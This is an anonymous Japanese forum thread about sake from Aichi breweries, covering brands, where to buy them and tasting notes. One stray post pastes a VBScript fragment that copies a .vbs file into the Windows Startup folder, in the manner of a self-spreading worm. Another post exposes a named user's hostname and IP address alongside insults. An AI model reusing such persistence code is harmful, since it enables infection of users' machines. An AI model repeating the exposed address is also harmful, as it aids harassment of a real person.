【尾張】愛知の日本酒について語るスレ【三河】

愛知県でも佳い酒を造っているんですよ！

清洲城　信長　鬼ころし

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ttp://webcity.jpn.org/web3/tvoter/rankmainA.html

空

シド

「ねのひ」っていうお酒しってる？うまいの？

　義侠、九平次旨いね。

義侠潰れたって聞いたけどオーナー代わったの？

「四君子」って知ってる？

ねのひはＳＯＮＹがつくってる

ねのひがＳＯＮＹをつくっている

木曽三川もおいしいよ

長珍。
去年からかな？
なんか固めの酒質のものも作るようになったね。

半田郷、好き

そうそう！愛知のＮＯ１のお酒は、「国盛り」だよん！

「孝の司」を推したいが。

九平次は当初地元名古屋では全く受け入れられず、他県・首都圏に苦労して販路を
築いていったんだよね。
だから人気が出た今も名古屋ではそんなに見かけない。（蔵が積極的に地元には売
ろうとしてない）
名古屋で扱ってる酒屋は4件くらいかな？

＞９
義侠はつぶれてはいないですよ。
今年の生酒を酒屋さんで売っていました。
でも売れ行きはどうなのでしょう。
今、九平次が伸びていますからね。

新鯛とか好きなのだが、地元に鶴見酒造があるので神鶴をあげとこう。

age

夢山水あげ

都内の居酒屋で九平次こないだ飲んだよ
日本酒に詳しくないし聴いたことなかったんで不安だったけど
濃厚な味でおいしかったです。

愛知の酒というと蓬莱泉とか東龍なんかはきいたことありますね
飲んでみたいけど愛知のお酒ってあまり取り扱ってるところがないような…

愛知に来て4年目。
「空（くう）」と「海（かい）」という酒が美味いと聞いているのだけれど、まだお目に
かかった事がない。

以前「空」だったかが期間限定で入荷したとのポスターを見た時は、抜歯当日
だったため断念…。

どなたか情報と味の感想Plz

尊皇

杉の舞

>>24 空は設楽町の関谷醸造の純米大吟醸｡直接蔵元に注文(1､2年待つかも)するか､取り扱い店に頼む｡よく酒のスギタが日を決めて先着順に販売してたが｡香りは果物風で味はやや旨口タイプ｡のんべえタイプの人はよく水みたいだなとの感想をもらす｡女性には人気があるのでは｡

　蓬莱泉は｢空｣の上に純米特別大吟醸の｢吟｣ってのがあるよ。
これは空なんかよりはるかに手に入らない。
　空は年に２回くらい口にはいるけどこれはまだ飲んだことない。

　で、蓬莱泉なんだけどあれは日本酒通的にはどうなの？
あの強烈な吟醸香は。
　蓬莱泉って良選、佳選でもかなり吟醸香がするんだけど、自分は
それを飲みなれてたものだから、灘とかのクセのないのを飲んだら、
スゴいもの足りなくて。
　で日本酒をすこし勉強してみると、あんまり吟醸香を出しすぎるのは
通の皆様にはあまり好まれないようなので、蓬莱泉の客観的な意見
というか評価が聞きたいなぁと。

　昼間から酒飲んだようなダラダラした文ですまない。

自称日本通です。（笑）
蓬莱泉「空」は結構甘味が強く感じるので
食中酒としてはどうかな？と思いますが
個人的には好きなお酒です。
しかし、そんなに吟醸香を強く感じたことはないのですが・・・

ちなみに蓬莱泉には通称「謎の純米大吟醸」と呼ばれる
生酒があり、これは吟醸香もしっかりあります。

謎の純米大吟醸って､年3回発売されるやつのことですか?初夏の風とか､花野のふとか｡

年に３回出荷される季節の純米大吟醸生酒とは違い、
和紙のラベルで純米大吟醸とそっけなく印刷されたお酒です。
価格は一緒です。

>>29　単なる飲兵衛さん
　丁寧なレスありがとうございます。
蓬莱泉のあの香りは吟醸香じゃないんですか。
とんだ恥をさらしてしまいました。恥ずかしい。
　とすると、香りはどういった表現がされている
ものなのでしょうか？教えて下さい。

　蓬莱泉　関谷酒造へ行くと樽からの分け売りをしていて、
瓶詰めとはひと味違うフレッシュな味が楽しめます。

　奥三河には他に新城：朝日嶽、東栄町：蜂龍杯があります。

28さま
恥だなんてとんでもないです！
私の書き方がちょっと誤解を招くようでした。
ごめんなさい。
心地よい香りを感じたならば、やっぱり吟醸香だと思います。
そして蓬莱泉のお酒は、比較的お米を磨いているようですので
吟醸香のするお酒も多いようです。

量り売りも美味しいですよね。
お正月に売り出される二千八百円の純米大吟醸は
空の生原酒だそうですよ。

17さんも書いておられますが
孝の司も美味しいですよね。

初夢桜

神杉

>>29
＞甘味が強く感じるので 食中酒としてはどうかな？
甘くない日本酒ってあんの？

美和町の戦国七武将をあげてみようか。地元産の食用米使用だけど
風味があって漏れはなかなかと思う。
ここで買えまつ。
ttp://tachibanaya-jp.com/Tachibanaya/index.shtml

>>29
空は一緒に食べるものを選ぶよね。つかいい肴が思いつかん。
品のよい刺身と組み合わせて出されたときにはｳﾏｰだと思ったよ。

>>28
吟は名古屋市内の百貨店を回ってると案外買えたりするよ。

>>38
不動のクズ黙ってろ！

酒販店が蔵元から空の4合瓶一本分けてもらうためには､蔵元の他の酒を一升瓶で12､13本売らなければならないと聞いたことがある｡こころして味わえ｡

？

吟は空よりも割り当てが厳しい｡

>>40
へぇ、そうなんだ。一升瓶なら青ラベルの別選がオススメ。
インチキくさい吟醸酒には負けない味。

>>38
空はつまみなしで飲む酒のような気がする。ほんとにいいツマミ
が思いつかん。
空

うわ〜！たくさんの情報THXです！
こりゃなかなか飲め無さそうですねぇ…でも美味そうな感想が並んでいてますます
味わってみたくなりました。樽からの分け売りというのに興味津々。
しかし食中酒としては難しい味ですか。
ちなみにというのもおかしいかもしれませんが、私が空入荷のポスターを見たのは
ぎょうざ屋さんでした（基本ニンニク抜きの店です）。ぎょうざ…どうですか？ｗ

昨年、東京から名古屋に越してきて、愛知の地酒の美味しさを知りました。
東龍、鷹の夢しぼりたて、酒望子がうまかった。
これからも発掘が楽しみです。

四海王

相生乃梅

蓬莱泉の謎の純米大吟とは､某店で売っている鑑評会用の酒のことですか!?

>>48
それとも別
要するに空、もしくは吟の生詰
鑑評会用の酒は火入れで入賞もしなかった

蓬莱泉「謎の純米大吟醸」は吟や空とは
違う酵母が使われているそうです。
生酒ですし、吟や空のように寝かせてもいないので
華やかなのでしょうね。

某酒販店は鑑評会出品酒とうたっていたそうですが
違うようですね。

>>25
尊皇の「幻々」と「奥」は独特の甘みがいい感じだった。
とろ甘いというか。面白い酒だね。

近頃、何故か「九平次」が人気のようだが、何が理由だろう。
確かに旨い酒の一つではあるのだろうが・・・ネーミングかな

九平次はむしろ最近人気が衰えている気が

このスレ地方地域限定スレですぐに沈んじゃうかと思ったけど、
どっこいマタ〜リといい具合で続いてますねぇ。
明日、何か買ってきてレポしようかな。

このスレの銘柄をｸﾞｸﾞｯてたらこんないいものがありました。
みなさんとっくにご存知かもしれませんが。
http://www.bekkoame.ne.jp/~shinkmr/sake/aichi/

菊石

姫街道

威光

>>54
　いったい何処で売っているんだ、と思うような未知の銘柄多数。愛知在住だが
飲んだことがある銘柄は1割程度。意外と奥が深いね。
　松坂屋や三越も北海道や九州の物産展ばかりやってないで、地元愛知の物産展
をやってみたらどうかと思う。

本当にあるものなんですねー
私も愛知の日本酒は、結構飲んだつもりでしたが
飲んだことがあるのは４割程度です。

名古屋の三越だったかな？
愛知の地酒フェアってやってましたよね。

漏れ元々岐阜人なんだけど
今は兵庫県で働いてる。

行きつけの飲み屋で
「しんぶんし」っていう愛知の(ﾟДﾟ )ｳﾏｰな
酒呑んだんだけど。
誰か情報ありませんか？
なんかすごく少ないらしいんだけど。
生産量２００石ぐらいだったはず。

>>60
しんぶんし？四君子=「しくんし」じゃないの？

>>62
いや「しんぶんし」でした。
実際に新聞紙で包まれていて
瓶には何のラベルも貼られていないんです。

かなりレアな酒らしいんですけど。

感じとしては大吟醸だと思います。
とにかく白葡萄のジュースのように
フルーティな感じでした。

愛知県だというのは確認取れているのですが・・・
愛知のどこだったかな？

確実な情報ではないのですが、私達の仲間内で
まさに「しんぶんし」と読んでいる純米吟醸があります。
長珍（純米吟醸）無濾過生で山田錦の５０％精米です。
春に出荷されるこのお酒は通常酒販店さんが予約を募り、
蔵元に発注するのですが
予約分以外はすべて火入れしてしまうので
なかなか店頭で見る機会の少ない、まさにレアなお酒のようです。
新聞紙に包まれていて、販売に必要な記述だけは
裏ラベルのように印刷されたものが貼ってあります。

これかなー？
でも長珍酒造さんって１５００石くらい造っていたような記憶。。。
違っていたらご勘弁を。
後、愛知の地酒で新聞紙に包まれて売っているのは
義侠も有名ですよね。

>>63
レスありが�dです。

多分そのお酒だと思います。
２００石というのはもしかしたら
２０００石だったのかもしれません。

元々、そのお店は焼酎が多くて
焼酎党だった漏れにとって
あのお酒は衝撃的でした。

しかしそんなレアなお酒だったとは・・・
確かにすげー美味しかった。

＞新聞紙に包まれていて、販売に必要な記述だけは
＞裏ラベルのように印刷されたものが貼ってあります。

まさにこの通りでした。

いや
ネット通販でも買えるしレアでも何でも無い

ちったぁぐぐれ

去年の長珍の純米吟醸無濾過生とひやおろしは出色の出来でしたね。
特にぬる燗で凄くすべりが良かった。
近所の酒屋では長珍の純米60％が新聞紙にくるまれて売ってます。
今度はこっちを試してみようかな。

賜冠

長誉

昔名門､今関谷が引き取った明鉾｡

>>69
明眸っすね？

そうでした｡間違えました｡

今日愛知で女性蔵人?の会があったと思いますが､参加した人がいますか?

白龍

>>72
蔵女性サミットですね？
本日６月５日開催ですよー

もちろんチケットは手配済。
行ってくるつもりです。
熊谷知栄子先生の講演もあるので
楽しみです。

布袋の造り酒屋の酒飲んでみん？
うまいよ
ブランドばっかに惑わされていてはいかんよ

木曽川町の「蔦娘」も飲んでみんしゃい

布袋と言うと何処ですか?稲沢市?

そんなん　あるか？

布袋あげ?

江南市にそんな名前の駅がありましたね。
お酒は知りませんが・・・

>>74
＞もちろんチケットは手配済。
こういうヤツって自分がキショイって思われてること
気が付いてないんだろうな。

ここにも書きこんでみます。

愛知といいますと、この間紹介されて飲みました酒望子です。
まあまあでした。
その筋では有名だそうですね。関東では別名で売られているそうです。

あとですね、稲沢のはだか祭り近辺に出まわる「純米 なおい」がおすすめです。
いかにもな徳利に入った原酒で、大変濃いお酒です。最高。
ただメジャーになってしまうのも惜しいんですけどね。

愛知万博のお酒

>>76
江南市、名草線の近くにあります。

醸し人九平次の青ラベルはあんなに美味しいのに、大吟醸は野暮ったくて美味しくない。
とても大吟醸とは思えない造り。

青ラベルはアルコール臭くてションベン酒だ
九平次は大吟醸こそ華

布袋の造り酒屋とは､山星酒造のことですか?星盛が商標かな?

>>85
どんな舌してんの？ｗ
醸し人九平次の大吟は大吟にあらず。

お前の貧乏舌よりははるかに旨い酒を旨いと感じられますが。何か？

袋取り斗瓶、別誂、御点前。
どれを取っても素晴らしい大吟醸としか思えませんですがねぇ？

青吟を喜んでる時点で負け犬

>>89
ハァ？醸し人九平次は限定品位外はマズイのか？ｗ
袋取り斗瓶、別誂、御点前等といつ書いた？ｗ
てめえの都合の良い反論してんじゃねえよクズ。

>>87は新潟酒こそ美味しい酒と感じる人なんでしょ？
自分の好みを全てと決めつけるからスレが荒れる。

>>87は逝け。

>>91
限定？
普通に買えるぞヴォケw
てめぇは貧乏だから無理かもしれんがな

醸し人九平次大吟醸はマズイ！
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>>91
反論も何も85=89ではありませんよ（苦笑

池沼注意報

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とは言え>>91が袋取り斗瓶と通常の大吟の味が見分けられるのならたいしたものです。

飲んだ事ねぇのに分かる訳ねぇだろw
貧乏人には安酒がお似合いだw

蓬莱泉くらいしか知らないけど
空はウマァー

醸し人九平次終わったなｗ

件の山田って誰か飲んだ？

豊橋の公楽の純米大吟醸無濾過生々最高！！「もともと」って言う名前
です！！多分、醸し人、空、を超えた味ですよ〜わしはお勧め。
激レアの酒です

「ｸｽﾞ」「貧乏人」「ﾜﾗ」「。ｗ」

酒板の推奨NGﾜｰﾄﾞ（朝〜昼は除く）
⌒X⌒X⌒X⌒X⌒X⌒X⌒X⌒X⌒ヽ ⊂ﾞ⌒ﾞ､∩
__乂__乂__乂__乂__乂__乂__乂__乂__ノ 　⊂（｡Д｡）ｳﾋｬﾋｬﾋｬ

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披露宴とかに日本酒を出すとしたら､招待者の好みを優先する?自分の好みを優先する?愛知の酒で縁起がいいとか､おめでたい名前のものってあるかな?

もちっ！自分の好みオンリー
名前がめでたかろうがカンケーなし
ウマァーが一番

義侠の慶は俺のお祝い事の定番だ。

私の好きな愛知の酒は義侠の妙が好きです。後、蓬莱泉の正月の生かな？蓬莱泉の吟は友人と一升飲んだけど私の口にはあわなかったなー。

蓬莱泉の生と言えば正月に某居酒屋限定の純米の樽酒生を呑みました
普段なら生の樽、しかも純米なんて敬遠するんだけれど
店主が不味かったら金いらないとまで言うので試してみたら
思わず「旨い」って言ってしまった

後にも先にも居酒屋の樽酒で旨いと思ったのはこれっきり
屋外で呑む本醸の樽酒は結構好きなんだけど

樽はやっぱり旨いね。年末神社の御神酒で四君子飲みました。

義侠とかは尾張でしか売ってないのかな？

全国地酒専門店で絶賛販売中

愛知の酒で北陸の菊姫と似ているのってありますか?

奥

ねのひ

ウチの近くにある酒蔵の勲碧ってお酒は
大吟醸も旨いけど純米吟醸もかなりいい味してますよ。

117さんの酒蔵はどこにありますか?

ブームじゃなくて、好きで飲んでるって感じの人が多いね。

今は焼酎ブーム?日本酒には追い風が吹いてない｡資源ゴミ置き場を見ても､イッショウ瓶､四合瓶はほとんど出てない｡

勲碧は江南にある酒屋だったんだ｡今日名鉄百貨店に行ったら置いてあった｡

勲碧は江南にある酒屋だったんだ｡今日名鉄百貨店に行ったら置いてあった｡

あけ

あげ

義侠は経営が芳しくないって聞いたけど
詳しく知ってる人いる？

危ないのかな?

去年の年末限定酒入札でだしてたけど、寂しいななくなると好きな蔵なのに。

無くなる前に飲んでみたいアゲ｡

>>125 マジな話か？

７月４日に義侠の山田社長による
山田錦の講演があるらしい。

雑誌にもしょっちゅう取り上げられてるし
キビシイってことは無いっしょ♪

ほうらいせんの一人勝ち

>>132
そんなことは無い！

「件の山田」最初ちょっと飲んだら香りが抑えめで、せっかくの
九平次をわざわざ地味に？と思ったけど、肴と一緒に飲んだら
米の旨味が広がって、なかなかｳﾏかった。

でも、九平次飲みたいときに飲むものではないと思った。

くへいじ上げ

夢山水あげ

おｰい

おｰい､誰か見てますか？

誰もいないのか・・・(´･ω･｀)

ん、どうした？

あつい夏｡冷酒の季節｡

実家に帰ったときに時間があれば関谷酒造に寄ってみたいなぁ。

緑区大高　萬乗酒造
「酒望子」が元のブランド。
新ブランドが「九平次」。
地元には、酒望子をだしているとのこと。
4,5年前蔵元に行きました。蔵の隣の敷地に冷蔵コンテナが並んでいたの
覚えている。

そういえば、駅から蔵元にいく途中にあった川がとっても汚かった。
その川の北岸に「？？城」という名の長屋が大きくなったような歪んだ建物が
あった。集合住宅なのか寮なのか。

age

空を発売してる関谷醸造が稲武町で酒蔵工場みたいの作ったと聞き、
誰でも入れるらしいし販売もしてるらしいので行ってみました。
空があるかなと思ってましたがありませんでした。
そのかわり稲武町の水を汲み上げて作った？（説明も忘れました）新しいお酒を販売してました。
名前忘れたけど美味しかったです。

地元の人はやっぱり空を手に入れるのが普通よりたやすいらしい。
でも空とかより蓬莱泉飲む人が多いって言ってました。
私は空より蓬莱泉派です。あと関谷酒造には「美」なんてのもありますよね。

空も美も蓬莱泉のグレードの１つです。

おｰい

結婚してお酒が好き勝手に買えなくなりました｡4合瓶を3本買い､冷蔵庫に入れておいたら邪魔だから入れるなと言われました｡糞嫁に乾杯!

あけ

>>148
酒は常温でってことだよ

>>148
こいつアホですな。

しかもなんだかスレ違い。誤爆？ｗ

おｰい

呼んだ？

fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"

義侠ってうまいんだね

義侠？
あれは過大評価だと思う

詳しくないんだけど、クソだと思ってました。
飲まずに判断してごめんなさい

>>157
何で飲まずに糞だと判断したのか理由が知りたい

身近すぎたからかな。
反省です。

四海王は人気が無いと思うが、好きな銘柄。

「松の世」安井酒造（中川区下之一色町）はどうよ？

AGE

名古屋市北区にある白龍は？
以前、酒蔵横の店で飲んで、その後、蔵横の即売所で買って家で飲んだことがあり美味しかった記憶があるのですが皆さんの評価はどんな感じですか？

age

白龍飲んだこと梨。

蔵元の廃業情報は無い？

http://www.chuden.co.jp/press/data/pre2004/pre1111.html

>157
義侠は[妙]とかは最高に旨いとおもうよ。

妙？あんな口に残る酒のどこがいいんだか・・・

まだいたのか淡麗厨が。水で薄めて飲めや。なんでも。(･∀･)ｹﾞﾍﾗﾍﾗ

別に端麗厨でもないけど
まぁ好きな人もいるんだろうから文句は言わないでおくよ

関谷酒造の正月の生原酒っていつから販売はじめるの？

ん？関谷醸造かな？
空レベルの生原酒量り売りのことかな？

愛知とは少し離れるけど
近鉄主催で近鉄沿線の酒蔵見学だってさ
ポスター貼ってたよ

近鉄の酒蔵見学、去年もやってました。
私も興味あるのですが、行った方いますか？

>>173
>>172ではないが、その情報きぼんぬ

だいたい愛知みたいな大都市は、
いい良質な天然の水が湧き出してるとこじゃないし、
酒造りに適した土地柄じゃないと思うんだが。
水はどこかから運んできてるんだろうが

愛知って全部が大都市なのか

そりゃすげぇ

そうじゃ、田舎のとこなんて山ほどあります。川の水飲んだって
大丈夫な感じw

関谷醸造の本社蔵で、
毎年お正月に販売される純米大吟醸の量り売りは
いわゆる空の生原酒です。
厳密には火入れ後、低温熟成されてはじめて空になるわけですが…
尚、店頭販売のみで頼んでも送ってはくれません。

>>180
要りません

>181
晒し上げ

>>177
愛知県は名古屋市を除いて山と農地が多いところ。
全体では都会ではないね。
木曾山系を源として流れる川が良質な水を供給する。

・米がよく採れる
・案外寒い
・醸造ものは結構得意

とかいう事情もあるな。

福来純の本みりんが美味い。３年熟成。17〜18度。

会社の景品・・

>>184
そりは岐阜の酒だと思われ。

甘強みりんの昔仕込もよいよ。

水に関しては、辛いところだろうね。
名古屋の醸し人九平次は…

逆浸透膜でも使ってる?!
活性炭は無論かな？

久平治氏自ら、
稲武あたりまで仕込み水を汲みに行ってるらしいよ
軽トラにタンク積んで…

>>189
それでタンク一つ一杯にするのに何回往復するんだｗ

軽トラの積載量は300ｋか200ｋ
タンクは600ｋ〜1800ｋ仕込みが殆どか

せめて2トントラックを買おう

>189
そう言えばそんな話も聞いたね
あの小型トラックは軽だっけ？

仕込みがはじまると電話をしても
４回に３回は「今、水を汲みに出かけてます」
って返事らしい。

自分は、孝司と尊皇が好きだな
孝司はスッキリ系、尊皇はフルーティ系
って感じかな？

>>192
マジカヨｗ

神杉、長誉は あかんか？

神杉の金賞受賞酒（ブルーの瓶）
はｳﾏかったよ。
一昨年の話だが・・・

＞186
その通りでした。
角屋文治郎商店の三州みりんはどうでしょうか。
柳蔭も飲んでみたい。

デパートの酒売り場で蓬莱泉の「はかり売り」って云う
純米吟醸酒を買ってきたよ。
甘い香りとスッキリとした呑み口で、いくらでも呑めそうです。
ttp://www.houraisen.co.jp/9.html

義侠の「えにし」を買ってきて呑んだ。
こんな味を豊潤って云うの？複雑な味だった。
ttp://www.jizake-asai.jp/gikyou-t.htm

さっきまで、長珍呑んでました。
特純のカップ酒ですが、旨かった。

　トリススクエア……

別に荒らすつもりは毛頭ないけど、敢えて言わせてもらおう。
以前、機会があって十四代の純米吟醸出羽燦々を手に入れる事が出来た。
その時に一緒に買ったのが醸し人九平次の山田錦純米酒。
帰宅後に両方の酒を利いてみた。

九平次ｳﾏ------------------------!!

価格の面、品質の面、どれをとっても九平次の方が良い。
米の酒類が違うってのもあるが、それにしたって天下の十四代よりも旨い！
愛知の酒は他にも長珍や義侠などもあるが、両方とも大好き。
愛知ﾏﾝｾｰですな。

>>202
十四代で旨いのは本丸なの。純米吟醸は大して旨くない。
九平次なんて十四代の本丸とは、月とすっぽん。

義侠は、当たりはずれがあるからな〜
老ね、拾うときもあるし・・・

長珍は全体的にうまいよね。
http://yukinosake.com/02-12-chouchin.html

>>204
名駅のシバタの古酒誰か突撃きぼん

九平次はマズイ。甘い。しつこい。くどい。高い。

本丸もあんな値段じゃ飲む価値なしだな。

>>207
あ”@名古屋のクズがもう反応したかｗ

ﾓｰｵﾀの愛知のｳﾞｧｶ荒らしDRC＝あ”＠名古屋＝あ＝神様幹事 ◆God.NnJqis＝不動
DRCｽﾚが荒らされて怒り心頭ｗ
八つ当たり連続投稿でﾎｽﾄ晒される池沼ｗ
Host：ipbf09sasajima.aichi.ocn.ne.jp　<>　220.98.178.55　<>

日本酒☆日本酒☆日本酒 十四代最高！《10代目》
http://food3.2ch.net/test/read.cgi/sake/1054285450/
http://food3.2ch.net/sake/kako/1054/10542/1054285450.html

嫌われ者で誰にも相手にされないコピペするしか脳の無いｗ
「あ”＠名古屋」＝神様幹事 ◆God.NnJqis
Host：ipbf09sasajima.aichi.ocn.ne.jp　<>　220.98.178.55　<>
が見苦しく巣食ってる板ｗ
日本酒の会
http://jbbs.shitaraba.com/sports/7124/

【ワイン雑談】DRC!のボジョ解禁【第16話突入】
http://food6.2ch.net/test/read.cgi/sake/1100656004/13

13 名前： DRC! ◇5DRCDRCfvQ [sage] 投稿日：04/11/17 13:43:38
名古屋人です！！

数年前に友人が愛知で買ってきてくれた日本酒が旨かったんですが
ネットで調べても、色んな酒屋で調べてもらっても全く手がかりが掴めないんですよ。
確か「若月」というような銘柄だったと思うんですが...
友人の話では、酒屋のおばあさんが「小さい蔵の酒だけど美味しいよ」と奨めてくれたそうです。
ちなみにその酒屋の名前や住所は友人の記憶に残ってないとの事です。
どなたかご存知ありませんか？

吟か空 どっちがいいかな？どっちが珍しい？

別にどっちも珍しく無い

両方珍しくないんだ(>_<)全然お酒のことわからなくて… どこで売ってるか教えてほしいです(>_<)

吟と空では、吟の方が本数がはるかに少ない。関谷醸造（蔵元）で売っている。
関谷醸造のＨＰに入手方法が書いてあるはず。ただし、１〜２年待ちになるでしょう。
蔵元以外の酒屋では結構取り扱っている。ネットで検索すれば、ザクザクと
引っかかってるはず。ヤフーのオークションでは多く出品されている。
ほぼ定価で出品してくれる人もいるけど、大概は定価の５割増くらいの価格で
出品されてる。
　蔵元では空は年３回（３，６、11月）、吟は年２回（６，11月）発売される。
リリース直後の空、吟を手に入れ飲んだ方がいいでしょう。
　212さんがどこの人かは知りませんが、近くの酒屋で手に入れるなら、関谷醸造
の酒（蓬莱泉）を取り扱っているかどうかを確認して下さい。蓬莱泉をたくさん
取り扱っている店なら、空や吟も入手できる可能性があります。空と吟は、
蓬莱泉の取り扱い量に応じて割り当てられると聞いたことがあるので、空と吟だけ
欲しいと酒屋に頼むと嫌がられると思います。（蓬莱泉の酒をいっぱい買ってあげれば
酒屋さんも喜んで空や吟を売ってくれるでしょう）

孝の司「しぼりたて」買ってきたよ。
ttp://www.kounotsukasa.co.jp/syouhin/image/sake/sibori1.jpg
甘口でスッキリ呑み易いです。少し濁ってて「生酒」って雰囲気です

最近よく聞く「奥」っつう酒について一言ｷﾎﾞｰﾝ

>>215
酒のblogで生以外ダメぽだって読んだ稀ガス

>>215
「生」って書いてなくても生っぽい味のする酒だな。
漏れは好き。

　少し古い話になるけど、山盛酒造と神の井酒造の合同酒蔵見学会に行かれた方っていないのでしょうか？
私は山盛酒造の方だけ行って、試飲させてもらった鷹の夢のうすにごりが美味しくてつい買ってしまったのですが。
好みはあるでしょうが、甘く強烈な吟醸香にノックアウトされました。

時間切れで行けなかったけど、神の井のほうはどうだったのでしょう？

蓬莱泉で、和紙のラベルで純米大吟醸って書かれた生酒を
飲んだ方いらっしゃいますか？

>>219
ノシ

フーデックスで愛知の酒が出てたよ 碧海野

>>220
ノシとはこれいかに？

>>221
新しく出る銘柄だよね。かなり変わったラベルデザインで気になる。

>>222
よーく見ると手を振っているように見えるAA

＞碧海野
初耳だったのでググりました。
神杉だったのね
飲んでみたいネ

>>224
あーなるほどー

ではお返しとして
>>220
ノシ

こんな感じで使い方はあってるかな？

蓬莱泉ってお酒の品評会とかに出さないんだってね。
品評会に出すと、薬品だったか？入れてるのがバレちゃうらしい・・・
何を入れてるのか知ってる人いますか？

俺の中では吟醸〜空あたりは全部同じ香がするんだけどｗ

清正竹皮

>>227
昨年名古屋局では入賞してたよ。

尊皇「しぼりたて生酒　活性にごり酒」を買ってきた。
ttp://www.sonnoh.co.jp/shibori.htm
年末年始限定なのに今でも売ってる事はご愛嬌。
香りは刺激的だけど、味はスッキリです。

碧海野はどこで買える？呑める？

あ

白老。はくろう
子日。ねのひ